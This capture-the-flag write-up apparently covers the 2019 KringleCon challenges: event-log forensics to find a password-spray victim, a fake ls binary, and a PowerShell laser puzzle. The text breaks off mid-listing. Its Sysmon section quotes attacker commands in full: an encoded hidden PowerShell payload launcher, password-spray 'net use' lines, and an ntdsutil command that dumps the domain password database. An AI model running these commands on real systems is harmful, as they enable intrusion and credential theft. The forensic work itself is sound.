Exit ed.
1100

So, we need to exit ed. I don't know this editor, so I had to search how to exit it. Apparently, just inputing q is enough:

1100
q
Loading, please wait......
You did it! Congratulations!
elf@6f68f4ebb298:~$

Windows Log Analysis: Evaluate Attack Outcome

Apparently, the person who wrote the threat letter is serious, because we have reports saying that there are ongoing attacks against the Elf U domain. We're given the event logs, and tasked to find the account that was compromised using the password spray attack.

In order to have a format that is more easy to parse, we can use python-evtx to convert the .evtx to an XML file. There is an evtx_dump.py script to do so:

$ evtx_dump.py Security.evtx > Security_evtx.xml

Let's take a look at the EventIDs in this file:

$ grep EventID Security_evtx.xml | sort | uniq -c | sort -n
      1             <EventID Qualifiers="">1102</EventID>
      1             <EventID Qualifiers="">4616</EventID>
      2             <EventID Qualifiers="">4768</EventID>
      4             <EventID Qualifiers="">4776</EventID>
      5             <EventID Qualifiers="">4769</EventID>
     15             <EventID Qualifiers="">4634</EventID>
     16             <EventID Qualifiers="">4624</EventID>
     16             <EventID Qualifiers="">4672</EventID>
   2386             <EventID Qualifiers="">4625</EventID>
   2387             <EventID Qualifiers="">4648</EventID>

The most interesting is 4624, because it's the one that says that an account was successfully logged on.

Let's create a small Python script to list every accounts with an EventID of 4624:

#!/usr/bin/env python3

import sys
from bs4 import BeautifulSoup

def main():
    if len(sys.argv) != 2:
        print('usage: {} <security_evtx.xml>')
        return -1

    with open(sys.argv[1], 'r') as f:
        security_evtx = BeautifulSoup(f.read(), 'lxml')

    users_success_login_attempt = set()

    for evt in security_evtx.find_all('event'):
        if evt.system.eventid.contents[0] == '4624':
            try:
                users_success_login_attempt.add(
                        evt.eventdata.find_all(attrs={'name': 'TargetUserName'})[0].string)
            except IndexError:
                pass

    print(users_success_login_attempt)

if __name__ == '__main__':
    main()

$ ./parse_evtx_xml.py Security_evtx.xml
{'supatree', 'DC1$', 'pminstix'}

Only three accounts have this code: supatree, pminstix, and DC1$. This last one seems to be the domain controller, we can likely ignore it. So it's between supatree and pminstix.

Now, how can we determined which one was compromised? There is another EventID that is interesting: the 4625. This ID indicates that an account failed to log on. During a password spray attack, if an account is compromised, an authentication attempt succeeded. So the compromised account should have one less event with ID 4625. Let's do some grep magic to find the corresponding account:

$ grep -wE '4625|TargetUserName' Security_evtx.xml | grep -A 1 '4625' | grep TargetUserName | sort | uniq -c | sort -nr
     77 <Data Name="TargetUserName">ygreenpie</Data>
     77 <Data Name="TargetUserName">ygoldentrifle</Data>
     77 <Data Name="TargetUserName">wopenslae</Data>
     77 <Data Name="TargetUserName">twinterfig</Data>
     77 <Data Name="TargetUserName">ttinselbubbles</Data>
     77 <Data Name="TargetUserName">tcandybaubles</Data>
     77 <Data Name="TargetUserName">sscarletpie</Data>
     77 <Data Name="TargetUserName">smullingfluff</Data>
     77 <Data Name="TargetUserName">smary</Data>
     77 <Data Name="TargetUserName">sgreenbells</Data>
     77 <Data Name="TargetUserName">pbrandyberry</Data>
     77 <Data Name="TargetUserName">mstripysleigh</Data>
     77 <Data Name="TargetUserName">mbrandybells</Data>
     77 <Data Name="TargetUserName">ltrufflefig</Data>
     77 <Data Name="TargetUserName">lstripyleaves</Data>
     77 <Data Name="TargetUserName">hevergreen</Data>
     77 <Data Name="TargetUserName">hcandysnaps</Data>
     77 <Data Name="TargetUserName">gchocolatewine</Data>
     77 <Data Name="TargetUserName">gcandyfluff</Data>
     77 <Data Name="TargetUserName">ftwinklestockings</Data>
     77 <Data Name="TargetUserName">ftinseltoes</Data>
     77 <Data Name="TargetUserName">esparklesleigh</Data>
     77 <Data Name="TargetUserName">dsparkleleaves</Data>
     77 <Data Name="TargetUserName">cstripyfluff</Data>
     77 <Data Name="TargetUserName">cjinglebuns</Data>
     77 <Data Name="TargetUserName">civysparkles</Data>
     77 <Data Name="TargetUserName">civypears</Data>
     77 <Data Name="TargetUserName">bevergreen</Data>
     77 <Data Name="TargetUserName">bbrandyleaves</Data>
     77 <Data Name="TargetUserName">Administrator</Data>
     76 <Data Name="TargetUserName">supatree</Data>

Let's decompose this command. The first part is:

grep -wE '4625|TargetUserName' Security_evtx.xml

It will select every line containing the string 4625 or TargetUserName.

On to the second part:

| grep -A 1 '4625'

It will select in the previous output every line containing 4625 and the line after it. This will give us an output of every event ID 4625 and every associated username. Here's the output:

<EventID Qualifiers="">4625</EventID>
<Data Name="TargetUserName">Administrator</Data>
--
<EventID Qualifiers="">4625</EventID>
<Data Name="TargetUserName">bbrandyleaves</Data>
--
<EventID Qualifiers="">4625</EventID>
<Data Name="TargetUserName">bevergreen</Data>
--
<EventID Qualifiers="">4625</EventID>
<Data Name="TargetUserName">civypears</Data>
--
<EventID Qualifiers="">4625</EventID>
<Data Name="TargetUserName">civysparkles</Data>
--
<EventID Qualifiers="">4625</EventID>
<Data Name="TargetUserName">cjinglebuns</Data>
--
<EventID Qualifiers="">4625</EventID>
<Data Name="TargetUserName">cstripyfluff</Data>

For the third part:

| grep TargetUserName

It will select every username in the previous output. We now have the list of every username with a failed authentication attempt.

Finally the last part:

| sort | uniq -c | sort -nr

It will sort every entry, count every occurrence, and sort it by number of occurrences. This gives us the final output:

77 <Data Name="TargetUserName">ygreenpie</Data>
77 <Data Name="TargetUserName">ygoldentrifle</Data>
77 <Data Name="TargetUserName">wopenslae</Data>
77 <Data Name="TargetUserName">twinterfig</Data>
77 <Data Name="TargetUserName">ttinselbubbles</Data>
77 <Data Name="TargetUserName">tcandybaubles</Data>
77 <Data Name="TargetUserName">sscarletpie</Data>
77 <Data Name="TargetUserName">smullingfluff</Data>
77 <Data Name="TargetUserName">smary</Data>
77 <Data Name="TargetUserName">sgreenbells</Data>
77 <Data Name="TargetUserName">pbrandyberry</Data>
77 <Data Name="TargetUserName">mstripysleigh</Data>
77 <Data Name="TargetUserName">mbrandybells</Data>
77 <Data Name="TargetUserName">ltrufflefig</Data>
77 <Data Name="TargetUserName">lstripyleaves</Data>
77 <Data Name="TargetUserName">hevergreen</Data>
77 <Data Name="TargetUserName">hcandysnaps</Data>
77 <Data Name="TargetUserName">gchocolatewine</Data>
77 <Data Name="TargetUserName">gcandyfluff</Data>
77 <Data Name="TargetUserName">ftwinklestockings</Data>
77 <Data Name="TargetUserName">ftinseltoes</Data>
77 <Data Name="TargetUserName">esparklesleigh</Data>
77 <Data Name="TargetUserName">dsparkleleaves</Data>
77 <Data Name="TargetUserName">cstripyfluff</Data>
77 <Data Name="TargetUserName">cjinglebuns</Data>
77 <Data Name="TargetUserName">civysparkles</Data>
77 <Data Name="TargetUserName">civypears</Data>
77 <Data Name="TargetUserName">bevergreen</Data>
77 <Data Name="TargetUserName">bbrandyleaves</Data>
77 <Data Name="TargetUserName">Administrator</Data>
76 <Data Name="TargetUserName">supatree</Data>

We can see that supatree has one less failed authentication attempt. This must means that it's the account that was compromised by the password spray attack.

Objective 4:

SugarPlum Mary's Cranberry Pi Challenge

We're supposed to list the content of the current directory:

K000K000K000KK0KKKKKXKKKXKKKXKXXXXXNXXXX0kOKKKK0KXKKKKKKK0KKK0KK0KK0KK0KK0KK0KKKKKK
00K000KK0KKKKKKKKKXKKKXKKXXXXXXXXNXXNNXXooNOXKKXKKXKKKXKKKKKKKKKK0KKKKK0KK0KK0KKKKK
KKKKKKKKKKKXKKXXKXXXXXXXXXXXXXNXNNNNNNK0x:xoxOXXXKKXXKXXKKXKKKKKKKKKKKKKKKKKKKKKKKK
K000KK00KKKKKKKKXXKKXXXXNXXXNXXNNXNNNNNWk.ddkkXXXXXKKXKKXKKXKKXKKXKKXK0KK0KK0KKKKKK
00KKKKKKKKKXKKXXKXXXXXNXXXNXXNNNNNNNNWXXk,ldkOKKKXXXXKXKKXKKXKKXKKKKKKKKKK0KK0KK0XK
KKKXKKKXXKXXXXXNXXXNXXNNXNNNNNNNNNXkddk0No,;;:oKNK0OkOKXXKXKKXKKKKKKKKKKKKK0KK0KKKX
0KK0KKKKKXKKKXXKXNXXXNXXNNXNNNNXxl;o0NNNo,,,;;;;KWWWN0dlk0XXKKXKKXKKXKKKKKKKKKKKKKK
KKKKKKKKXKXXXKXXXXXNXXNNXNNNN0o;;lKNNXXl,,,,,,,,cNNNNNNKc;oOXKKXKKXKKXKKXKKKKKKKKKK
XKKKXKXXXXXXNXXNNXNNNNNNNNN0l;,cONNXNXc',,,,,,,,,KXXXXXNNl,;oKXKKXKKKKKK0KKKKK0KKKX
KKKKKKXKKXXKKXNXXNNXNNNNNXl;,:OKXXXNXc''',,''''',KKKKKKXXK,,;:OXKKXKKXKKX0KK0KK0KKK
KKKKKKKKXKXXXXXNNXXNNNNW0:;,dXXXXXNK:'''''''''''cKKKKKKKXX;,,,;0XKKXKKXKKXKKK0KK0KK
XXKXXXXXXXXXXNNNNNNNNNN0;;;ONXXXXNO,''''''''''''x0KKKKKKXK,',,,cXXKKKKKKKKXKKK0KKKX
KKKKKKKXKKXXXXNNNNWNNNN:;:KNNXXXXO,'.'..'.''..':O00KKKKKXd'',,,,KKXKKXKKKKKKKKKKKKK
KKKKKXKKXXXXXXXXNNXNNNx;cXNXXXXKk,'''.''.''''.,xO00KKKKKO,'',,,,KK0XKKXKKK0KKKKKKKK
XXXXXXXXXKXXXXXXXNNNNNo;0NXXXKKO,'''''''.'.'.;dkOO0KKKK0;.'',,,,XXXKKK0KK0KKKKKKKKX
XKKXXKXXXXXXXXXXXNNNNNcoNNXXKKO,''''.'......:dxkOOO000k,..''',,lNXKXKKXKKK0KKKXKKKK
KXXKKXXXKXXKXXXXXXXNNNoONNXXX0;'''''''''..'lkkkkkkxxxd'...'''',0N0KKKKKXKKKKKK0XKKK
XXXXXKKXXKXXXXXXXXXXXXOONNNXXl,,;;,;;;;;;;d0K00Okddoc,,,,,,,,,xNNOXKKKKKXKKKKKKKXKK
XXXXXXXXXXXXXXXXXXXXXXXONNNXx;;;;;;;;;,,:xO0KK0Oxdoc,,,,,,,,,oNN0KXXKKXKKXKKKKKKKXK
XKXXKXXXXXXXXXXXXXXXXXXXXWNX:;;;;;;;;;,cO0KKKK0Okxl,,,,,,,,,oNNK0NXXXXXXXXXKKKKKKKX
XXXXXXXXXXXXXXXXXXXXXXXNNNWNc;;:;;;;;;xKXXXXXXKK0x,,,,,,,,,dXNK0NXXXXXXXXXXXKKXKKKK
XKXXXXXXXXXXXXXXXXXXXXNNWWNWd;:::;;;:0NNNNNNNNNXO;,,,,,,,:0NN0XNXNXXXXXXXXXXXKKXKKX
NXXXXXXXXXXXXXXXXXXXXXNNNNNNNl:::;;:KNNNNNNNNNNO;,,,,,,;xNNK0NXNXXNXXXXXXKXXKKKKXKK
XXNNXNNNXXXXXXXXXXXXXNNNNNNNNNkl:;;xWWNNNNNWWWk;;;;;;;xNNKKXNXNXXNXXXXXXXXXXXKXKKXK
XXXXXNNNNXNNNNXXXXXXNNNNNNNNNNNNKkolKNNNNNNNNx;;;;;lkNNXNNNNXXXNXXNXXXXXXXXXXXKKKKX
XXXXXXXXXXXNNNNNNNNNNNNNNNNNNNNNNNNNKXNNNNWNo:clxOXNNNNNNNNXNXXXXXXXXXXXXXXXKKXKKKK
XXXXNXXXNXXXNXXNNNNNWWWWWNNNNNNNNNNNNNNNNNWWNWWNWNNWNNNNNNNNXXXXXXNXXXXXXXXXXKKXKKX
XNXXXXNNXXNXXNNXNXNWWWWWWWWWNNNNNNNNNNNNNWWWWNNNNNNNNNNNNNNNNNNNNNXNXXXXNXXXXXXKXKK
XXXXNXXNNXXXNXXNXXNWWWNNNNNNNNNWWNNNNNNNNWWWWWWNWNNNNNNNNNNNNNNNXXNXNXXXXNXXXXKXKXK
I need to list files in my home/
To check on project logos
But what I see with ls there,
Are quotes from desert hobos...
which piece of my command does fail?
I surely cannot find it.
Make straight my path and locate that-
I'll praise your skill and sharp wit!
Get a listing (ls) of your current directory.
elf@ffba3960c30f:~$

Alright, let's just ls the directory:

elf@ffba3960c30f:~$ ls
This isn't the ls you're looking for

Hmm, weird. It looks like the ls binary was replaced. Let's see which program is used using the which command:

elf@ffba3960c30f:~$ which ls
/usr/local/bin/ls

Indeed, it does not seem to be the usual ls binary. Let's search for every file named ls at the root of the file system:

elf@ffba3960c30f:~$ find / -name ls -type f 2>/dev/null
/usr/local/bin/ls
/bin/ls

The usual ls binary seems to be at /bin/ls. So let's call this binary directly:

elf@ffba3960c30f:~$ /bin/ls
' '   rejected-elfu-logos.txt
Loading, please wait......



You did it! Congratulations!

Windows Log Analysis: Determine Attacker Technique

We're given Sysmong logs to try and understand which technique the attacker used. We're asked to identify what tool the attacker used to retrieve domain password hashes from the lsass.exe process.

In these logs, we have a lot of interesting events. We can see the execution of suspicious PowerShell commands:

{
    "command_line": "C:\\Windows\\system32\\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c \"if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIACHe010CA7VWbW/aSBD+nEj5D1aFZFshGANt2kiVbs07wQnEQCAUnTb22iysvWCvCabtf78x4DS9plV70ll5We/OzM4888yM3TiwBeWBhEsD6fPZ6UkPh9iXlBy13w3yUi5h60A9OYGDnN2VPkrKFK1WNe5jGsyurqpxGJJAHN4LTSJQFBH/kVESKar0Rbqfk5Bc3D4uiC2kz1Lu70KT8UfMjmJJFdtzIl2gwEnPutzGqS8Fa8WoUORPn2R1eqHPCvV1jFmkyFYSCeIXHMZkVfqqphcOkhVRZJPaIY+4Kwr3NCiXCsMgwi65AWsbYhIx504kqxAD/IRExGEgQTSp+uFQkWHZC7mNHCckUSTnpWlqeDqb/aVMj7fexYGgPim0A0FCvrJIuKE2iQotHDiM3BF3BlqWCGngzVQVxDZ8SZRcEDOWl/7EjHJDnjLMfldJeakEUj0RqnnI4g9RmtyJGTnoya+4uc+7Ck+We4Dt69np2ambEYWuX/IEVifT/ZqAa0qPR3Qv9VEq5iUTrsGChwm85gZhTNTZM7BSbuHkf66tZ6IguClh2JmOOHVmoHFMZM63rGa6/3NC1ohLA1JLAuxTO+Oc8hq+xGVkH14hE7sBnxT5eECcGmHEwyLFLE3zD2p1n4pnXSOmzCEhsiFHEXgF6VO/d+aQBkVuBybxAaDDO/Au5wLTSSZ9ZHeS3Z6+g5BcZTiK8lIvhlKz85JFMCNOXkJBRI9HKBZ8v5S/uWvGTFAbRyIzN1MzHI/3VXkQiTC2IWcQ+8BaEZtilkKRl1rUIUZiUS+7V34ViCpmDEoALG0gEbCTAmCJlAkhuAhZVwsWEW1/xYgPEvuKbzDsQX0fab4nDvaII//bv4zIB9amSGQQvPAO0msxLvLSiIYCGkeKKlDov9z9ol/svaiG5JgFJauLqZGIlM+5qDRItikfj5jsEQgFRN8IuW/giLyrHNqD8ka7pVUEz6QdMNM2llRHT1Rvm/A7pOU2r106151FSwtr27mL2lHbbPVq/VarsulYo4qw6m1x3WsLsz5eLCzUuhtOxEMbtQa0uJxUdqsO3Vld5Ey22rudsXsqGtvdwnPcSc11vUvXutPfNmj3vto3iiXcrdXj7r3xZBQrUZ0+tfp02F92GuJxMmJ46GreWP+A6bYbLkY6N3dthJrzsr3ruKPm3HSSSYuShVbs0j7qI3Rt3w2HTW/lNSOkfRitq/4CrRsYYdRG9VHSecuM/rBhoGHd6ONb3iuf1zT9wVnXGw9j3PGZ02xp+mSMHBRqA2+uX97OgxQn7BlrI5VB3YekoYFMr4JalRLdPaz7TQ/VQWbkc4QbdDk8H4PNmwHo3A91hyMRtMeaNvI0D7nWfIKRAdLGGjUMXk3e98yeNhqV5vrjUp+Dz2S8eW920HnD7mmadu4/wl8N2eZqG4yNp8uN17L4Nb7Go81DWdMHT00XrdH5uaEbj6JVL3c2cO9A+zD8+CYlEDAoZ/PhC1r8rJWbOIzmmAFdoEtnBdrgYePYd3ucphqKkg7qJQkDwmDQwSjMaI4Y43ba9KFBw7g5DIF0Jg1hWS69ulKlZ0H12zDItq6uHsBFqJs9tQtdEnhini9uy8UiNPfitlKEEH8/ripfJcrBVj6dDikwz8bZ3riaVlTONd/q1v8K2bGO5/DP+TVk3/Z+cfpbMBbz+4B/2P1+448Q/dOw7zEVIGhBD2LkMAFfi/7IjRdfB/uMQObd45N+293G4uIGvhrOTv8BxRZ9dEQKAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);\"",
    "event_type": "process",
    "logon_id": 999,
    "parent_process_name": "?",
    "parent_process_path": "?",
    "pid": 3468,
    "ppid": 616,
    "process_name": "cmd.exe",
    "process_path": "C:\\Windows\\System32\\cmd.exe",
    "subtype": "create",
    "timestamp": 132110784202880000,
    "unique_pid": "{7431d376-7e14-5d60-0000-0010bffd2500}",
    "unique_ppid": "{00000000-0000-0000-0000-000000000000}",
    "user": "NT AUTHORITY\\SYSTEM",
    "user_domain": "NT AUTHORITY",
    "user_name": "SYSTEM"
}

Or the password spray attacks:

{
    "command_line": "net  use \\\\127.0.0.1\\IPC$ /user:ELFU\\bbrandyleaves ???Summer2019  ",
    "event_type": "process",
    "logon_id": 999,
    "parent_process_name": "cmd.exe",
    "parent_process_path": "C:\\Windows\\SysWOW64\\cmd.exe",
    "pid": 752,
    "ppid": 1072,
    "process_name": "net.exe",
    "process_path": "C:\\Windows\\SysWOW64\\net.exe",
    "subtype": "create",
    "timestamp": 132186397042689984,
    "unique_pid": "{7431d376-de58-5dd3-0000-0010d9b82600}",
    "unique_ppid": "{7431d376-de52-5dd3-0000-0010dea72600}",
    "user": "NT AUTHORITY\\SYSTEM",
    "user_domain": "NT AUTHORITY",
    "user_name": "SYSTEM"
},
{
    "command_line": "net  use \\\\127.0.0.1\\IPC$ /user:ELFU\\bevergreen ???Summer2019  ",
    "event_type": "process",
    "logon_id": 999,
    "parent_process_name": "cmd.exe",
    "parent_process_path": "C:\\Windows\\SysWOW64\\cmd.exe",
    "pid": 724,
    "ppid": 1072,
    "process_name": "net.exe",
    "process_path": "C:\\Windows\\SysWOW64\\net.exe",
    "subtype": "create",
    "timestamp": 132186397042960000,
    "unique_pid": "{7431d376-de58-5dd3-0000-00104dbd2600}",
    "unique_ppid": "{7431d376-de52-5dd3-0000-0010dea72600}",
    "user": "NT AUTHORITY\\SYSTEM",
    "user_domain": "NT AUTHORITY",
    "user_name": "SYSTEM"
},
{
    "command_line": "net  use \\\\127.0.0.1\\IPC$ /user:ELFU\\civypears ???Summer2019  ",
    "event_type": "process",
    "logon_id": 999,
    "parent_process_name": "cmd.exe",
    "parent_process_path": "C:\\Windows\\SysWOW64\\cmd.exe",
    "pid": 2848,
    "ppid": 1072,
    "process_name": "net.exe",
    "process_path": "C:\\Windows\\SysWOW64\\net.exe",
    "subtype": "create",
    "timestamp": 132186397043230000,
    "unique_pid": "{7431d376-de58-5dd3-0000-0010c1c12600}",
    "unique_ppid": "{7431d376-de52-5dd3-0000-0010dea72600}",
    "user": "NT AUTHORITY\\SYSTEM",
    "user_domain": "NT AUTHORITY",
    "user_name": "SYSTEM"
},

But the last event is the most interesting one:

{
    "command_line": "ntdsutil.exe  \"ac i ntds\" ifm \"create full c:\\hive\" q q",
    "event_type": "process",
    "logon_id": 999,
    "parent_process_name": "cmd.exe",
    "parent_process_path": "C:\\Windows\\System32\\cmd.exe",
    "pid": 3556,
    "ppid": 3440,
    "process_name": "ntdsutil.exe",
    "process_path": "C:\\Windows\\System32\\ntdsutil.exe",
    "subtype": "create",
    "timestamp": 132186398470300000,
    "unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}",
    "unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
    "user": "NT AUTHORITY\\SYSTEM",
    "user_domain": "NT AUTHORITY",
    "user_name": "SYSTEM"
}

The ntdsutil.exe can be used to create a full back-up of the ntds.dit hive on a domain controller. This file can then be parsed with something like secretsdump.py.

I first thought that this was not the correct answer, because, as I understand it, ntdsutil.exe does not interact with the lsass.exe to extract password hashes: an external tool must be used to extract these hashes. Then, after analyzing the rest of the log file, I didn't see any other tool that could be used to extract hashes. So I tried to answer ntdsutil.exe, but was given an error message by the KringleCon form.

It turns out that the correct solution is ntdsutil.

Objective 5:

Sparkle Redberry's Canberry Pi Challenge

Apparently, the research lab at Elf U is building a laser that can shoot beams of Christmas cheer. However, someone apparently messed with the parameters, and now the laser is not producing enough Mega-Jollies per liter.

WARNGING: ctrl + c restricted in this terminal - Do not use endless loops
Type exit to exit PowerShell.
PowerShell 6.2.3
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲
🗲                                                                                🗲
🗲 Elf University Student Research Terminal - Christmas Cheer Laser Project       🗲
🗲 ------------------------------------------------------------------------------ 🗲
🗲 The research department at Elf University is currently working on a top-secret 🗲
🗲 Laser which shoots laser beams of Christmas cheer at a range of hundreds of    🗲
🗲 miles. The student research team was successfully able to tweak the laser to   🗲
🗲 JUST the right settings to achieve 5 Mega-Jollies per liter of laser output.   🗲
🗲 Unfortunately, someone broke into the research terminal, changed the laser     🗲
🗲 settings through the Web API and left a note behind at /home/callingcard.txt.  🗲
🗲 Read the calling card and follow the clues to find the correct laser Settings. 🗲
🗲 Apply these correct settings to the laser using it's Web API to achieve laser  🗲
🗲 output of 5 Mega-Jollies per liter.                                            🗲
🗲                                                                                🗲
🗲 Use (Invoke-WebRequest -Uri http://localhost:1225/).RawContent for more info.  🗲
🗲                                                                                🗲
🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲
PS /home/elf>

Let's try to find the correct value for the different parameters. Let's start with the Invoke-WebRequest command:

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
HTTP/1.0 200 OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Mon, 23 Dec 2019 20:01:04 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 860

<html>
<body>
<pre>
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off

Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output

Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0

Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10

Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1

Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
</pre>
</body>
</html>

Alright, there is an API available on the research lab computer, where we can change the value of the different parameters of the laser. So, once we find the correct values for the laser's parameters, we'll input them here.

Now, let's take a look at this calling card file:

PS /home/elf> Get-Content /home/callingcard.txt
What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la la

The calling card seems to imply that we can find some riddles in the command history. So let's dig into it:

PS /home/elf> get-history

  Id CommandLine
  -- -----------
   1 Get-Help -Name Get-Process
   2 Get-Help -Name Get-*
   3 Set-ExecutionPolicy Unrestricted
   4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm
   5 Get-Service | Export-CSV c:\service.csv
   6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv
   7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
   8 Get-EventLog -Log "Application"
   9 I have many name=value variables that I share to applications system wide. At a com…

We've found the correct value for the angle, which seems to be 65.5. The ninth entry also seems interesting, let's take a look at it:

PS /home/elf> get-history -id 9  | format-list

Id                 : 9
CommandLine        : I have many name=value variables that I share to applications
                     system wide. At a command I will reveal my secrets once you Get my
                     Child Items.
ExecutionStatus    : Completed
StartExecutionTime : 11/29/19 4:57:16 PM
EndExecutionTime   : 11/29/19 4:57:16 PM
Duration           : 00:00:00.6090308

Sharing name=value variables system wide... This seems to point to environment variables. Let's explore the environment variables, using the env: object:

PS /home/elf> Get-ChildItem env:

Name                           Value
----                           -----
_                              /bin/su
DOTNET_SYSTEM_GLOBALIZATION_I… false
HOME                           /home/elf
HOSTNAME                       ed982fcad65c
LANG                           en_US.UTF-8
LC_ALL                         en_US.UTF-8
LOGNAME                        elf
MAIL                           /var/mail/elf
PATH                           /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bi…
PSModuleAnalysisCachePath      /var/cache/microsoft/powershell/PSModuleAnalysisCache/Mod…
PSModulePath                   /home/elf/.local/share/powershell/Modules:/usr/local/shar…
PWD                            /home/elf
RESOURCE_ID                    f8a577fa-4565-46c9-a2b6-5ab85e9da0e1
riddle                         Squeezed and compressed I am hidden away. Expand me from …
SHELL                          /home/elf/elf
SHLVL                          1
TERM                           xterm
USER                           elf
USERDOMAIN                     laserterminal
userdomain                     laserterminal
username                       elf
USERNAME                       elf

The riddle variable seems interesting. Let's expand it:

PS /home/elf> Get-ChildItem env:riddle | Format-List

Name  : riddle
Value : Squeezed and compressed I am hidden away. Expand me from my prison and I will
        show you the way. Recurse through all /etc and Sort on my LastWriteTime to
        reveal im the newest of all.

Alright, let's list every file in /etc and sort by their LastWriteTime attribute:

PS /home/elf> Get-ChildItem -recurse /etc | sort LastWriteTime
[...]
    Directory: /etc/apt

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          12/23/19  8:35 PM        5662902 archive

The newest file seems to be an archive. Let's extract it:

PS /home/elf> Expand-Archive -Path /etc/apt/archive -DestinationPath extracted_archive
PS /home/elf> dir
Directory: /home/elf

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---          12/13/19  5:15 PM                depths
d-----          12/23/19  8:37 PM                extracted_archive
--r---          12/13/19  4:29 PM           2029 motd
PS /home/elf> cd ./extracted_archive/refraction
PS /home/elf/extracted_archive/refraction> dir


    Directory: /home/elf/extracted_archive/refraction

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------           11/7/19 11:57 AM            134 riddle
------           11/5/19  2:26 PM        5724384 runme.elf

The archive contains an ELF binary, and a riddle. First, let's run the ELF binary. I didn't manage to run it from the box, so I extracted it, by base64 encoding it, and then decoding it on a Linux box. I was then able to run it:

user@debian:~$ ./powershell_elf.bin
refraction?val=1.867

This gives us the correct value for the refraction variable. Now, let's look at the riddle file:

PS /home/elf/extracted_archive/refraction> Get-Content ./riddle
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:

25520151A320B5B0D21561F92C8F6224

So, we must look for a file in the /home/elf/depths folder, with an MD5 sum equal to 25520151A320B5B0D21561F92C8F6224. Let's take a look:

PS /home/elf> Get-ChildItem -file -recurse ./depths/ | get-filehash -algorithm MD5 | where-object { $_.HASH -eq "25520151A320B5B0D21561F92C8F6224" } | Format-List

Algorithm : MD5
Hash      : 25520151A320B5B0D21561F92C8F6224
Path      : /home/elf/depths/produce/thhy5hll.txt

The file with an MD5 sum of 25520151A320B5B0D21561F92C8F6224 seems to be /home/elf/depths/produce/thhy5hll.txt. Let's look inside:

PS /home/elf> Get-Content /home/elf/depths/produce/thhy5hll.txt
temperature?val=-33.5

I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName's to Sort Length.

We now have the correct value for the temperature, -33.5.

Apparently, the new file to find is the one with the longest full name in /home/elf/depths. Let's list the file and sort them by their FullName attribute:

PS /home/elf/> Get-ChildItem -file -recurse /home/elf/depths | sort {  $_.FullName.length } | select-object -property FullName | fl
[...]
FullName : /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/
           escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/p
           ractical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/da
           wn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soo
           n/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
PS /home/elf/extracted_archive/refraction> gc /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:

bushy
alabaster
minty
holly

Do this for me and then you /shall/see .

Once we find the file with the longest name, we're tasked with a new challenge. We must kill the processes of the given users, in this particular order. Let's list the processes and kill them:

PS /home/elf> Get-Process -IncludeUserName

     WS(M)   CPU(s)      Id UserName                       ProcessName
     -----   ------      -- --------                       -----------
     26.84     1.86       7 root                           CheerLaserServi
    184.41    61.33      32 elf                            elf
      3.56     0.04       1 root                           init
      0.82     0.00      24 bushy                          sleep
